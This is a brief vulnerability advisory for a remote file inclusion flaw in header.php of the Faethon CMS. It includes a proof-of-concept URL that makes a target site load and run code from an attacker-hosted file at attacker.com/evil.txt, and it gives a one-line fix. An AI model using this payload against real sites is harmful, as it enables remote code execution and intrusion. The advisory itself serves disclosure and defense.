Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mainpath in header.php
